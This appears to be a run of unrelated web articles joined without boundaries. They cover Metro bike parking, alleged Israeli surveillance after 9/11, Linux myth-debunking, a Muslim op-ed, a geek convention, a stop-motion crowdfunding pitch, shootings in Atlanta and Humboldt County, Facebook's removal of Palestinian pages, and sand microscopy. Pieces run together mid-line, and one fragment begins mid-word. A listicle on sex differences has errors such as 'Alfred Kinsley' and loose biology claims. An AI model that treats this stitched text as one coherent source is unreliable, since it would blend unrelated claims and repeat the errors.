Top Five Stations by Bikes Parked
Vienna, 96 East Falls Church, 95 College Park 83 Braddock Road, 77 Takoma, 70
What This Means
Metro will be using these data to inform our decisions about where to fix, upgrade, and expand bicycle parking facilities. These counts, along with locker usage, will serve as a general indication of current bike-to-rail demand. Of course, as a “snapshot” in time, the data don’t capture day-to-day variations in demand for bike parking, and some racks have already been replaced/expanded (King Street, Medical Center, Grosvenor, Georgia Ave/Petworth, and College Park) since we did the counts in May and June.
Finally, we plan to continue making periodic bike counts to track our progress in attracting more bike-to-rail customers.
Related Posts:Spy Rumors Fly on Gusts of Truth
Americans Probing Reports of Israeli Espionage
FORWARD STAFF
Despite angry denials by Israel and its American supporters, reports that Israel was conducting spying activities in the United States may have a grain of truth, the Forward has learned.
However, far from pointing to Israeli spying against U.S. government and military facilities, as reported in Europe last week, the incidents in question appear to represent a case of Israelis in the United States spying on a common enemy, radical Islamic networks suspected of links to Middle East terrorism.
In particular, a group of five Israelis arrested in New Jersey shortly after the September 11 attacks and held for more than two months was subjected to an unusual number of polygraph tests and interrogated by a series of government agencies including the FBI's counterintelligence division, which by some reports remains convinced that Israel was conducting an intelligence operation. The five Israelis worked for a moving company with few discernable assets that closed up shop immediately afterward and whose owner fled to Israel.
Other allegations involved Israelis claiming to be art students who had backgrounds in signal interception and ordnance. (See related story, Page 8.)
Sources emphasized that the release of all the Israelis under investigation indicates that they were cleared of any suspicion that they had prior knowledge of the September 11 attacks, as some anti-Israel media outlets have suggested.
The resulting tensions between Washington and Jerusalem, sources told the Forward, arose not because of the operations' targets but because Israel reportedly violated a secret gentlemen's agreement between the two countries under which espionage on each other's soil is to be coordinated in advance.
Most experts and former officials interviewed for this article said that such so-called unilateral or uncoordinated Israeli monitoring of radical Muslims in America would not be surprising.
In fact, they said, Israeli intelligence played a key role in helping the Bush administration to crack down on Islamic charities suspected of funneling money to terrorist groups, most notably the Richardson, Texas-based Holy Land Foundation last December.
"I have no doubt Israel has an interest in spying on those groups," said Peter Unsinger, an intelligence expert who teaches justice administration at San Jose University. "The Israelis give us good stuff, like on the Hamas charities."
According to one former high-ranking American intelligence official, who asked not to be named, the FBI came to the conclusion at the end of its investigation that the five Israelis arrested in New Jersey last September were conducting a Mossad surveillance mission and that their employer, Urban Moving Systems of Weehawken, N.J., served as a front.
After their arrest, the men were held in detention for two-and-a-half months and were deported at the end of November, officially for visa violations.
However, a counterintelligence investigation by the FBI concluded that at least two of them were in fact Mossad operatives, according to the former American official, who said he was regularly briefed on the investigation by two separate law enforcement officials.
"The assessment was that Urban Moving Systems was a front for the Mossad and operatives employed by it," he said. "The conclusion of the FBI was that they were spying on local Arabs but that they could leave because they did not know anything about 9/11."
However, he added, the bureau was "very irritated because it was a case of so-called unilateral espionage, meaning they didn't know about it."
Spokesmen for the FBI, the Justice Department and the Immigration and Naturalization Service refused to discuss the case. Israeli officials flatly dismissed the allegations as untrue.
However, the former American official said that after American authorities confronted Jerusalem on the issue at the end of last year, the Israeli government acknowledged the operation and apologized for not coordinating it with Washington.
The five men Sivan and Paul Kurzberg, Oded Ellner, Omer Marmari and Yaron Shmuel were arrested eight hours after the attacks by the Bergen County, N.J., police while driving in an Urban Moving Systems van. The police acted on an FBI alert after the men allegedly were seen acting strangely while watching the events from the roof of their warehouse and the roof of their van.
In addition to their strange behavior and their Middle Eastern looks, the suspicions were compounded when a box cutter and $4,000 in cash were found in the van. Moreover, one man carried two passports and another had fresh pictures of the men standing with the smoldering wreckage of the World Trade Center in the background.
The Bergen County police immediately handed the suspects to the INS, which turned them over to a joint police-FBI terrorism task force set up after September 11 to deal with all possible links with the attacks.
The five Israelis were detained in the high-security Metropolitan Detention Center in Brooklyn in solitary confinement until mid-October. On September 25, they all signed papers acknowledging violations of U immigration law. At the end of October, the INS issued a deportation order which was enforced a month later after a review by the Justice Department and prodding by Jewish and Israeli officials.
However, the former official said, this is just the official story.
In fact, he said, the nature of the investigation changed after the names of two of the five Israelis showed up on a CIA-FBI database of foreign intelligence operatives, he said. At that point, he said, the bureau took control of the investigation and launched a Foreign Counterintelligence Investigation, or FCI.
FBI investigations into possible links to the September 11 attacks are usually carried by the bureau's counterterrorism division, not its counterintelligence division.
"An FCI means not only that it was serious but also that it was handled at a very high level and very tightly," the former official said. That view was echoed by several former FBI officials interviewed.
Steven Gordon, an American lawyer hired by the families to help secure their release, said he could not confirm which FBI division was in charge of the investigation. However, he acknowledged that "there were a lot of people involved, including counterintelligence officials from the FBI."
The men all underwent at least two polygraph tests each, the lawyer added. He said one of the Israelis took the test seven times, a very unusual total according to several polygraph experts interviewed by the Forward.
After the men were arrested, FBI agents searched the warehouse of Urban Moving Systems in Weehawken, N.J., seizing computer hard drives and documents. The warehouse was closed on September 14, said Ron George, a spokesman for the New Jersey State Division of Consumer Affairs.
On December 7, a New Jersey judge ruled that the state could seize the goods remaining inside the warehouse. The state also has a lawsuit pending against Urban Moving Systems and its owner, Dominik Otto Suter, an Israeli citizen.
The FBI questioned Mr. Suter once. However, he left the country afterward and went back to Israel before further questioning. Mr. Suter declined through his lawyer to be interviewed for this article.
Earlier this year, the New York State Department of Transportation revoked Urban Moving System's license after discovering that the company's midtown Manhattan base was only a mailing address.
After they returned to Israel at the end of November, the five men told local media that they were kept in solitary confinement, beaten, deprived of food and questioned while blindfolded and in their underwear.
Mr. Ellner, one of the five Israelis, said on two occasions in recent weeks that the five men had decided not to grant any interviews right now "because we went through a very difficult period and we are not ready for this."
Their Israeli lawyer, Ram Horwitz, told the Forward he was still waiting for the results of the medical tests undertaken by the men in Israel to make a decision on an eventual lawsuit in the United States for mistreatment.
Mr. Horwitz insisted the men were not intelligence officers.
Irit Stoffer, an Israeli Foreign Ministry spokeswoman, said the allegations were "completely untrue" and that there were "only visa violations."
"The FBI investigated those cases because of 9/11," Ms. Stoffer said.
Charlene Eban, a spokeswoman for the FBI in Washington, and Don Nelson, a Justice Department spokesman, said they had no knowledge of an Israeli spying operation.
"If we found evidence of unauthorized intelligence operations, that would be classified material," added Jim Margolin, a spokesman for the FBI in New York.
One leading expert in American intelligence operations, Chip Berlet, a senior analyst at the Boston-based Political Research Associates, explained that there "is a backdoor agreement between allies that says that if one of your spies gets caught and didn't do too much harm, he goes home. It goes on all the time. The official reason is always a visa violation."The Georgetown University Master's in Cybersecurity Risk Management prepares you to navigate todays complex cyber threats. Take classes online, on campus, or through a combination of both -- so you dont have to interrupt your career. Learn more.
Debunking long-held myths is always a gratifying exercise, but never is that more true than when said myths have done our favorite operating system harm.
It was with great glee, then, that Linux Girl came across not one but two myth-debunking conversations on the blogs in recent days.
A recent report from the Linux Foundation, for example, showed conclusively once and for all that the image of kernel hackers as basement-dwelling nerds who still live with their parents is just plain false.
'It Is Good for Business'
In fact, more than 70 percent of work on the kernel today is done by developers who are being paid for their efforts, the report found.
"I hope this finally kills off the 'GPL is bad for business' myth," wrote chrb on Slashdot, where more than 250 comments greeted the findings. "Every one of those companies is paying for work on the kernel because it is good for their business. Red Hat, IBM, Novell, etc. aren't charities -- they sponsor Linux development because it expands their markets and brings in profits."
The findings ring true, Chris Travers, a Slashdot blogger who works on the LedgerSMB project, told LinuxInsider.
"Every FOSS developer I have known has been a professional programmer," he said.
'A Staple of Anti-Linux FUD'
Others cheered the news for other reasons.
"Painting Linux devs as a bunch of amateurs who are accountable to no one has been a staple of anti-Linux FUD campaigns for years," Montreal consultant and Slashdot blogger Gerhard Mack added. "It's nice to have a quick means of refuting that form of misinformation."
Speaking of hackers, we were distressed to see reports last week that the noted Ruby hacker "why the lucky stiff" -- more commonly known as "_why" -- has apparently disappeared from the Internet without a trace!
If any readers learn more about the situation, we'd love to hear from you in the comments.
Netbook Returns a 'Non-Issue'
Meanwhile, on to myth-debunking No. 2, which is perhaps even more gratifying than No. 1 was.
Specifically, after months of claims that Linux netbooks get returned far more often than Windows ones do -- claims that were reiterated just recently by Microsoft COO Kevin Turner in a speech at Microsoft's annual financial analysts' meeting -- Dell came out and said that it just isn't true.
In fact, Linux returns are about the same as those for Windows netbooks, Dell senior product marketing manager Todd Finch reportedly said at OpenSource World, according to a report in The Register.
Further, the matter is "non-issue," Finch reportedly said.
'Linux Is Mainstream'
Not only that, but "they are making something of nothing," he said of Microsoft's returns claims.
YESSSSSSSSSSS!! The resounding shouts of joy could be heard throughout the blogs -- DesktopLinux, Slashdot, LXer and Digg, to name just a few.
"People keep trying to explain what has become now pretty obvious: Linux is mainstream," wrote jotaeleemeese on Slashdot, for example. "It is high time companies and people interested in computing wake up to this simple reality."
'Nice of Dell'
It wouldn't have been entirely surprising if Microsoft's claims were true "simply due to user expectations," but "it is interesting at least for Dell that they aren't," Travers said. "This suggests once again that Linux is competitive on the netbook and is a valid option, despite Microsoft's attempts to suggest otherwise."
Indeed, "it's nice of Dell to set the record straight, even if it probably means annoying one of their largest suppliers," Mack told LinuxInsider.
Some distros might have higher returns due to bad marketing or inadequate product testing, Travers pointed out, but "this isn't an issue confined to Linux.
"A couple years ago I bought my wife a laptop with Vista, and it just didn't work right until I got a recent version of Fedora installed," he recalled. "My wife was ready to return the thing before I made the switch for her. So similar problems can affect Windows as well."
Hidden by Design
Dell may have fewer problems with Linux netbooks than other retailers do because "it is pretty much impossible to accidentally get Linux at Dell," Slashdot blogger hairyfeet told LinuxInsider.
"If you don't specifically know what Linux is and go out of your way to find it at Dell, you simply will never run into it," hairyfeet explained. "Is it on the front page? Nope, not there. First page for netbooks? Nope, not there either. In fact, you'll navigate a maze of'recommends Windows xx' before you come across the Linux offerings."
Dell is smart to use such a strategy, hairyfeet asserted: "This cuts down on returns, since only someone who knows what Linux is AND wants it will actually buy Linux from Dell."
'Network of Shills'
Then again, it's also difficult to overstate Microsoft's marketing prowess.
"The hard part in competing with a monopoly is the scale of lies," blogger Robert Pogson told LinuxInsider. "If a lie is told often enough, or if it is a big enough lie, people believe it."
Microsoft runs a "network of shills" that spreads "outrageous lies that that other OS is faster, better, smoother,'more intuitive' and more reliable," Pogson asserted. "They will show huge uptake of M$'s products induced by payoffs and claim folks are choosing a superior product. They will show stock not sold as sales while hiding prices by bundling."
'Just a Hair on the Camel of Lies'
Regarding netbooks, "killing the true netbook by persuading OEMs to upsell and spreading FUD about returns is just a hair on the camel of lies that M$ induces on a scale usually only seen coming from ministries of propaganda in totalitarian regimes," Pogson added.
"M$ has no monopoly on truth," he concluded. "The netbook was the largest and most successful advertising campaign that GNU/Linux ever had, with many millions of users and all their associates realizing that there is another way to do things and that lies are lies even when widely believed."Muslims and other racial, ethnic and religious minorities heard some very harsh things said against us during the election campaign.
The FBI reports a 67 percent increase in hate crimes against American Muslim citizens in 2016. In Plano, a high school girl was traumatized when her hijab was pulled down, and the school took swift action to address the incident. At Texas A&M, a neo-Nazi-styled white nationalist gave a speech that was met with protests. A note was left on the doorsteps of many McKinney residents stating "we need to get rid of Indians, Blacks, Jews and Muslims" because they are taking away all the high-paying jobs. A growing sense of insecurity envelops many minority and Muslim families.
Fear of ISIS is understandable -- it is a group of 20,000 to 30,000 fanatical warriors. Fear of 1.6 billion Muslims and the 3 million law-abiding American Muslims is not.
Here are a few misconceptions that I would like to rebut:
ISIS and terrorism -- Muslims are massively against ISIS and what it stands for. This brutal organization has killed significantly more Muslims than anyone else. We don't support ISIS, don't want to support them or their ideology. We are as terrified of what they do as our next-door Christian, Jewish, Hindu or Sikh neighbors are. Associating American Muslims with ISIS is unfair and un-American.
Shariah law -- I was asked recently if we are here to make Shariah law the law of the land and how are we planning on doing it. Newsflash: We have no such interest or intentions. If you ask American Muslims what Shariah law is, most will not be able to answer because they don't practice it. The U.S. Constitution and civil codes are plenty good.
If you ask those who hate Muslims, they will tell you we are here to implement Shariah law and have four wives, kill the infidel and punish homosexuals. They won't tell you that part of the Shariah advises to give to charity, take care of your neighbor, do justice to all, reject racism, do not kill. But anything good about Islam is drowned out in the loud noise.
The hijab -- I would guess that no more than 5 percent of American Muslims wear the hijab. Most don't. It is not a religious requirement but has grown as a form of identity and culture over the years. If someone wants to wear it, let them. The niqab (the ninja-warrior looking face covering) is definitely not Islamic; it is medieval. The burqa, the full-body covering for women, has no roots in Islam. It is archaic, and most Muslims abhor it. Hijabs, niqabs and burqas are about identity, not piety.
Rights of our fellow men -- Lost amid the ISIS killings we have gotten used to seeing on TV is the fact that rights of others and equality are paramount for Muslims -- practices not seen widely in some Muslim countries, unfortunately. Prophet Mohammed in his last sermon said to treat women well, there is no superiority of Arabs over non-Arabs, and there is no superiority of whites over blacks but by piety and good actions.
Kill the infidel -- This battle cry, frequently used to incite hatred of Muslims, is most egregious. Muslims have been living in the West for hundreds of years. I cannot recall the last time Muslims were seen killing their infidel neighbors. In fact, Muslims as a group have one of the lowest crime rates and the highest education rates in the U.S. If we were so inspired by this battle cry, you would see a lot of us shooting a lot of others.
This is not to say that the Muslim world does not need to reform and to adopt stronger secular values. It does. I'm a Texan who's lived in the U.S. for 31 years, and my worst offense has been a speeding violation: Won't you trust me as your neighbor and not give in to the harsh hype about us?
This is America, the land of the free and the home of the brave. Our ideals are rooted in justice and liberty for all. Anything less would be disappointingly un-American.
Zulfi Ahmed is an insurance executive living in Plano. Email: zsahmed11@aol.comThe pop culture convention that invites South Jersey residents to let their geek flags fly will return to Woodbury Heights for a third year. South Jersey Geek Fest, which features events and merchandise booths for gamers, comic book nerds, TV enthusiasts and card collectors, will be held April 4 from 10 a.m. to 5 p.m. at the Woodbury Heights Community Center on Helen Avenue.
This year's convention will include appearances and demonstrations by the South Jersey Roller Derby Girls and a demonstration of Quidditch --the unabashedly nerdy game from the "Harry Potter" series -- by the SJ Hell Hounds. Professional cosplayers will be on the scene, along with archery and fencing demonstrations. The Tiki Tiki Yo-Yo club will also perform, and for video game fans, there will be a day-long Super Smash Bros. tournament with prizes and giveaways. As always, tabletop games, music and toys will be a staple.
The event will include food from Craigie Mack's BBQ Shack. For younger geeks, there will be a "Geekster egg hunt" for children 11 and under.
Registration is $8 at the door, or online at sjgeekfest.com. Attendees who bring nonperishable foods for donation to the Food Bank of South Jersey will get in for $5. For more information, visit the Geek Fest website or contact publicist Ryan Morrison at (856) 202-5103.
Andy Polhamus may be reached at apolhamus@southjerseymedia.com. Follow him on Twitter @ajpolhamus. Find the South Jersey Times on Facebook.About
My name is Eric Fogel and I'm an LA based filmmaker with over twenty years of animation experience. I've created several animated series; the first, MTV'S The Head, I cooked up at the tender age of twenty four.
I also co-created Glenn Martin DDS for Nickelodeon...
And most notably the hit show Celebrity Deathmatch for MTV.
Deathmatch was considered ground-breaking television back in its day – serving up a healthy blend of stop-motion violence, comedy and pop culture satire way before Robot Chicken ever got hatched.
As you may have guessed, I LOVE Stop-motion animation. As painstaking as it actually is, the art of moving poseable figures one frame at a time has always been my favorite form of animation. As a kid, I was easily seduced by the tactile, visceral quality of the original King Kong and the work of Ray Harryhausen. These were the movies that inspired me to become a filmmaker. But with the advent of computer animation it appeared as though stop-motion was getting pushed to the side -- becoming the “red-headed step child” of animation if you will. With the success of Celebrity Deathmatch I feel at least partially responsible for keeping alive an art form which has become overshadowed by its more fluid CG counterpart.
With three out of five of this year's Academy Award nominees for best animated feature being Frankenweenie, Pirates and ParaNorman, I am happy to report that stop-motion is alive and well, having cemented its place in the competitive animation landscape. With that in mind, I feel the time is right to push the medium further and explore an arena previously untouched by stop-motion animation – the action/adventure genre. Havoc will be the first film of its kind...but what is it?
Havoc is a pulse-pounding, stop-motion, action movie that pits a lone warrior, against a vicious mutant horde. At stake: his survival AND the fate of humankind! Part human, part genetic mutation, Havoc is a man at odds with the brutal, post-apocalyptic landscape he calls home. He’s an underdog you can’t help but root for, a hero who won’t truly succeed until learns to embrace his own humanity. Havoc is everything that I love about stop-motion animation – incredible detail, rich storytelling, kick-ass characters. It’s the culmination of a dream of mine that spans decades.
Your investment in this project will go towards the production of a three minute film which will introduce Havoc, as well as the tone and visual style of the world he lives in. Once complete, this “proof of concept” film will be shopped to studios in order to secure a backer for the feature film. As I am essentially breaking new ground in stop-motion animation -- inventing a world and characters that are totally unique -- the short film will be essential in allowing studio execs to visualize the movie.
I truly appreciate your time and consideration in choosing to support Havoc. I’ve been in the business long enough to know that creating something new and different is never easy but always worth it. So if you love stop-motion animation as much as I do, or you're a Deathmatch fan, or maybe you just get excited about being part of something wholly original, (or all of the above!) then please jump on board. Thank you!0 3 shot outside barbershop in southwest Atlanta
ATLANTA - Police are investigating a shooting at a southwest Atlanta barbershop that left one man dead and two others injured.
It happened on McDaniel Street in the Castleberry Hill neighborhood Saturday night.
Donovan Thomas, 26, was killed. Another man in his 20s and a 14-year-old boy were both shot in the leg.
Investigators say it appears to be a drive-by shooting. They don’t have a motive, but do not believe the shooting was random.
Witnesses told Channel 2 Action News they believe the shooter used a semiautomatic weapon.
Neighbor Sugar Thomas, who is not related to the victim, says she was in her home when she heard the shots. When she came outside, she saw the three young men on the ground.
“I’m praying for the people who got shot. That’s all we can do because we don’t know what happened,” said Sugar Thomas.
Police say Donovan Thomas had multiple gunshots to his upper body. He was rushed into surgery at Grady Memorial Hospital, where he later died.
Homicide detectives say they victims were outside a barbershop when the shooting happened, but police don’t believe the men were connected to the business.
Police have not released a description of the gunman or the car used in the shooting.
The area where the shooting happened has also been the scene of several other recent shootings.
Investigators say a group shot and killed Demetrius Davis, 22, in late November outside the JVC Grocery and Deli on McDaniel Street.
In early October, witnesses say someone fired a gun from a blue car outside the same corner store. The bullet hit and killed 62-year-old Obie Phillips, who lived nearby.Rep. Jim McGovern (MA-03) tweeted tonight: "The GOP debates defunding NPR for hours, but limits debate on Afghanistan to 5 minutes."
That "debate" will happen Thursday when the House takes up the Afghanistan Exit and Accountability Act. Sponsored by McGovern and Walter Jones (NC-03), if passed, the amendment would require:
• A plan and time-frame on accelerated transition of military operations to Afghan authorities;
• A plan and time-frame on negotiations leading to a political solution and reconciliation in Afghanistan; and
• A new National Intelligence Estimate on al Qaeda.
As Robert Greenwald writes:
The McGovern/Jones amendment won’t end the war by itself, but it’s a necessary first step to reining in a war policy that up to this point has utterly failed to deliver on the promises of its backers to the American people. Supporters of Rethink Afghanistan and other organizations are urging Congress to pass this amendment this week, and the vote may happen as early as today. If you want the war to end, please use our petition to send a note to your representative immediately. This weekend, many Americans will mark Memorial Day at barbecues or other patriotic events, but thousands of families will spend the day dealing with the heartbreaking absence of a loved one. Others will spend the day like they spent every day for the last decade: hoping there’s not a phone call or a knock at the door to tell them their deployed family member won’t be coming home. This should be the last Memorial Day we put military families through this agony for a war that’s not making us safer.
Not much time between now and the vote. But there's enough for you to get on the phone early in the morning and urge your Congressperson to say "aye" on McGovern-Jones. You can remind him or her that it's a bipartisan amendment.
• • • • •
At Daily Kos on this date in 2005:
Sen. Brownback (R-KS) [flip-flopping] on judicial filibusters: But should no deal emerge to break the stalemate, the region's other Republican senators, Kit Bond and Jim Talent of Missouri, and Sam Brownback of Kansas all said they would back Frist [...] Brownback pointed out that "we've been hung up now four years" on several of the nominees. "There's no sign of it ending," Brownback said. "We're kind of at the end of the string. I don't know what else we can do" other than change the rules. Brownback on stem cell research: "We're going to do everything we can to stop it," said Sen. Sam Brownback, R-Kan. He vowed to mount a filibuster, which allows a minority of senators to block a vote on the measure.
• • • • •
See High Impact Diaries here. See Top Comments here.Native Instruments’ groove-centric production studio Maschine today gets its most significant update ever |
duous parts of life, such as childbirth.
4 Sight
When it comes to the sense of sight, there are some big differences between men and women. While men can read finer print and are better at night vision and discerning movement, women can sense colors better, have a wider periphery of vision and have more of a chance of being a tetrachromat.
A tetrachromat has another type of cone in between the red and green (somewhere in the orange range) and its 100 shades, theoretically, would allow a woman to see 100 million different colors. Only a woman can be a tetrachromat. This is because the genes for the pigments in green and red cones lie on the X chromosome, and only women have two X chromosomes, creating the opportunity for one type of red cone to be activated on one X chromosome and the other type of red cone on the other one. In a few cases, women may have two distinct green cones on either X chromosome.
Unfortunately, it doesn’t work the same for men, as most of the color deficient men inherit two red or two green cones along with the standard blue cone, making it impossible for them to distinguish between red and green. 8 percent of men in the world have a color deficiency as compared to 0.5% of women. 2-3% of women in the world may have a fourth cone and are a tetrachromat.
3 Communication
Everybody knows that women and men communicate differently, and here are some observations from the scientific community that will enlighten you as to how and why.
Women are able to more adequately manipulate their facial expressions than men. However, the results are flipped when it comes to expressing and communicating anger. Women have a tendency to catch others emotions, also known as emotional contagion, although men can inhibit their expressions better than females, when cued to do so.
Women are more inclined to face each other and make eye contact when talking. Men are more likely to look away from each other. Women will tend to communicate more affection and prioritize communication more than the masculine side of the equation. When in a discussion, men are likely to debate and talk about a range of topics while the ladies may talk at length about one topic. There are a lot more tendencies each sex has when it comes to communicating, and it helps to understand this because some phrases mean something different to each gender, phrases such as “Talking about us.”
2 Friendships
The way friendships are forged and maintained also differs between male and female. Men expect competition in companionship. They avoid communicating weakness and vulnerability as well as personal and emotional concerns. For women there is little to no problems with communicating weakness and vulnerability, even seeking out friendships during hardships. For this reason one could say that women are emotionally closer to their friends than men are.
Women tend to value and bond with their friends for listening and responding non-critically, showing support and offering comfort. On the other hand, men grow closer to each other by doing activities with each other, or doing each other favors. Young boys at school will play more vigorously, and occupy more space in their play area, than girls. Girls will opt for more sedentary games, and girls are more likely to accept a new classmate to their group, whereas a new boy will have to demonstrate his usefulness to the group.
1 Orgasm
During orgasm, both female and male genitals swell with blood, their pulse races and muscles contract involuntarily at intervals of 0.8 seconds (approximately). Some peoples mouths open. Others faces contort. The feet may arch and shake. A warm glow envelopes the body. It is during orgasm in both men and women that oxytocin floods through our bloodstream. Oxytocin, released by female orgasm, helps women lie still for a while afterwards. This further increases the likelihood of conception.
However, the difference here is the time to reach orgasm, and the functionality of each. According to sexologist Alfred Kinsley for 75% of all males, orgasm is possible to be attained within the first four minutes after initiation of sexual intercourse. For women the average time to reach orgasm is between 10 and 20 minutes. The swiftness of the male system virtually guarantees climactic orgasms for males, but is usually too quick for the female. Self stimulation is also quicker for both sexes, significantly for women.
It has also been proposed that due to the physiological similarity of men and womens genitals that the female orgasm is an “echo” of the male orgasm. As better stated by evolutionary biologist Stephen Jay Gould: “The clitoris is the homologue of the penis – it is the same organ, endowed with the same anatomical organization and capacity of response.”
On the plus side though, both sexes may experience a burst of creative thought, since orgasm produces activity in the right, creative-thinking side of the brain.
Bonus Time
Or more accurately, each gender’s perception of it. This was originally my number 1 spot but as a Google search shows, there hasn’t been much research done on the subject, so I wasn’t sure of the credibility of some of these facts. Commenters, feel free to tear this entry apart. But otherwise go ahead and indulge.
In a 2001 study participants were asked to judge how much time had passed at an interval of 1, 3, 7 or 20 seconds. The results weren’t mind-blowing, but they showed that men regularly overshot the interval while women undershot. It also showed that the difference between sexes does not change with length of interval perceived. This could possibly purport that men feel time go by faster while women feel it goes by slower.
Women perceive time by using landmarks or milestones in time to identify other points in time (i.e. that was shortly after my mother died or that was during lunchtime) while men were more likely to state the year, date, or time something happened. As some of you may have noticed, this is similar to the relationship between men and women on spatial awareness. There is some truth to this also. The lobule that is responsible for the perception of speed and the mental ability to rotate 3-D objects is also responsible for perceiving time.Facebook continues to disable Palestinian pages, as several administration accounts and two pages have been deleted recently, according to Palestinian activists.
Last week, administrators from the Palestinian Information Centre (PIC) Facebook page in Arabic reported that at least 10 accounts were suspended, seven permanently and three temporarily. The PIC has more than two million followers.
When contacted for an explanation, Facebook responded by saying: "Your account has been permanently disabled for not following Facebook Community Standards. We will not reactivate it for any reason."
But according to PIC's general director, Yahya Abu Hassan, the Facebook Community Standards are just a pretext. "Whatever these standards are, they remain loose, arbitrary and moody. However, Facebook clearly uses them as a sword to delete whichever material gets reported to them by the Israelis, thus reminding us of the worst censorship by dictators across time and place."
READ MORE: Is Facebook neutral on Palestine-Israel conflict?
Whatever these standards are, they remain loose, arbitrary and moody. However, Facebook clearly uses them as a sword to delete whichever material gets reported to them by the Israelis, thus reminding us of the worst censorship by dictators across time and place. Yahya Abu Hassan, PIC's general director
On Monday, PIC's Facebook page in English, which has more than 200,000 likes, had one of its videos removed by Facebook under the pretext that it had "nudity".
"[The page] posts news stories, reports, features, pictures, cartoons and videos exclusively about Palestine and Palestinians," said Rami Salaam, the page's main administrator.
"The video is motivational. It's about a Palestinian college graduate who is defying the Israeli siege and unemployment by selling flowers. It sends a message to occupied and besieged Palestinians that there is still a ray of hope," Salaam told Al Jazeera. "I have had my accounted temporarily suspended for no reason a number of times before. It's frustrating and, worse, it is distracting."
Last September, Facebook disabled several Palestinian accounts on the basis that they breached community standards. Four editors from the Shehab News Agency, which has more than 6.3 million likes on Facebook, and three executives from the Quds News Network, with about 5.1 million likes, reported they could not access their personal accounts. Both agencies cover daily news in the occupied Palestinian territories.
Facebook And Israel Officially Announce Collaboration To Censor Social Media Content https://t.co/L5W3UHVYt6 #news via @activistpost pic.twitter.com/O2b2uvjNJN — Palestine Info Centr (@palinfoen) October 12, 2016
Palestinians and pro-Palestine activists tried to counter the crackdown with a campaign on social media using the hashtag #FBcensorsPalestine. Thousands interacted with the campaign, generating tens of thousands of tweets and posts.
Coming under pressure, Facebook apologised and reactivated the accounts. However, the social media giant has been singling out Palestinian pages one at a time, say activists, who allege that the crackdown is the result of an agreement between Facebook and Israel.
Last September, a Facebook delegation met Israeli Justice Minister Ayelet Shaked and Public Security Minister Gilad Erdan to "improve cooperation against incitement to terror and murder", according to a statement from the prime minister's office. Shaked, of the right-wing, settler-supported Jewish Home party, hailed the meeting as a success.
Several Israeli press reports suggested that Facebook and the Israeli government would set up "joint teams" to counter online incitement, but no further details were provided.
A spokesperson for the social network told Al Jazeera in a statement at the time that the visit was "part of an ongoing dialogue with policymakers and experts around the world to keep terrorist content off our platform and support counter-speech initiatives".
Facebook is collaborating with the Israeli government to determine what should be censored https://t.co/v953NKj4gl #FbcensorsPalestine pic.twitter.com/uVIDPWHGDd — Palestine Info Centr (@palinfoen) October 12, 2016
READ MORE: Israel detains Palestinian beautician over Facebook post
While Palestinian activists say they are frustrated about being silenced by Facebook, some are still determined to pursue their activism for Palestine on the service.
"Facebook is an important platform. We can't just leave it because of its repressive policies against Palestinians," said Bayan Mohammed, PIC's main Arabic page administrator, whose account was permanently disabled.
"We will continue posting. We will create more accounts and pages to make sure Palestine's voice is heard loud and clear," he told Al Jazeera.
Other activists say that they are working on finding another platform that guarantees freedom of speech to all, to put an end to what renowned Palestinian novelist Susan Abulhawa referred to as "digital dictatorship".Retired biologist Gary Greenberg doesn’t receive the regular letter or postcard in the mail from his fans or friends.
“I have thousands of bottles of sand that people have sent me,” Greenberg says.
The peculiar fan mail is related to Greenberg’s current passion: photographing grains of sand under 3D microscopes. When he first moved to Maui 11 years ago, “I came here really with myself and with my microscope, and I noticed there was a lot of sand around, so I started taking pictures,” he says. “Every time I look at sand, it’s still a surprise and incredibly beautiful.”
Greenberg’s photographs—published in two books and on his website—reveal the vast variety of sand grains that can be found all over the world, magnified dozens or even hundreds of times. Browsing through his work, you can see fine details in sea urchin spines ranging from purple to green; the smooth textures of spheroidal ooids; hollow shells left behind by protozoa; common quartz crystals found on continental beaches; and plenty of other colorful and bizarre-looking granules.
“It’s amazing how completely different any beach [sand] is,” Greenberg says. “I see sand as nature’s tiny sculptures and how environments can sculpt these little works of art in different ways.”
According to Greenberg, there are two major categories of sand, based on its origin: mineral or biological. “The majority of continental sand is quartz crystal,” he says. Quartz crystal is the hardest of the minerals found in granite rock—which makes up most of the continental mass on the planet—and so it endures over time as softer minerals erode. (Islands, by the way, are generally made of basalt rock, which comes from lava.)
Meanwhile, a lot of biological sand is comprised of calcium carbonate, which composes shells, sea urchin spines, coral, foraminifera, diatoms, sponge spicules, and other hard bits from animal bodies, Greenberg says.
But of all the samples he’s explored, the sand that Greenberg considers most fascinating is otherworldly: It came from the moon, courtesy of NASA.
“The moon sand was the most amazing sand that I’ve looked at,” Greenberg says. Lunar sand is made of minerals also found on Earth, but because there’s no atmosphere, liquid water, or wind, “there’s no traditional or conventional way in which [moon] sand erodes,” he says, so it looks “very, very different” than anything found on our planet.
Greenberg estimates that the crystal in the photo above formed on the moon somewhere around four billion years ago. “If there was a crystal like that on Earth four billion years ago,” he says, “it would have completely eroded away.”
In studying the lunar granule, he noticed dark track-like markings, but their origin remains a mystery. “The first time I saw [them], I said, that looks like bacterial tracks—bacteria can eat their way through grains of sand,” Greenberg explains. “But, of course, there’s no bacteria on the moon, so it’s unlikely that’s what it is.” He believes that the tracks might have come from high-energy particles from the sun striking through the crystal.
Greenberg analyzes sand grains using 3D microscopes he’s developed himself since the 1990s. Using computer algorithms and more complex lighting, these microscopes can produce images that have better resolution and depth of field than earlier models, he says. He brought one of the first 3D microscopes to the commercial market, and continues to build 3D imaging platforms.
For now, he plans to keep his lens focused primarily on sand. He’s only gone through about half of the vials sent by fans, he says, and they keep on coming.Photo credit: humboldtbeacon.com
A man charged with shooting a Humboldt County sheriff's deputy with a 12-gauge shotgun in the shoulder early Sunday morning was an illegal Mexican alien who had already been deported in 2015.
Humboldt County Sheriff William Honsal said both the injured deputy and the suspect are in stable condition but the deputies identify has not been released at this time. The shooter is Hugo Parral-Aguirre, 30, who is a Mexican national in America illegally.
Honsal said the sheriff's deputy could have been killed if the shot was 2 inches lower. "It has become a very, very violent place and we see it out in the hills, we see it in our communities," Honsal said.
"We are not immune to it because we wear a uniform. It’s very disturbing to me that, again, that this is a deputy sheriff who was there to investigate, to help people. And instead of someone giving up they decide to shoot it out with law enforcement," Honsal continued.
The incident took place shortly after midnight on Sunday when a neighbor reported a dispute between two men at the 700 block Coppini Lane in Ferndale. A deputy and a sheriff Sargent arrived at the scene around 12:50 a.m. in marked vehicles and approached a small structure on the property.
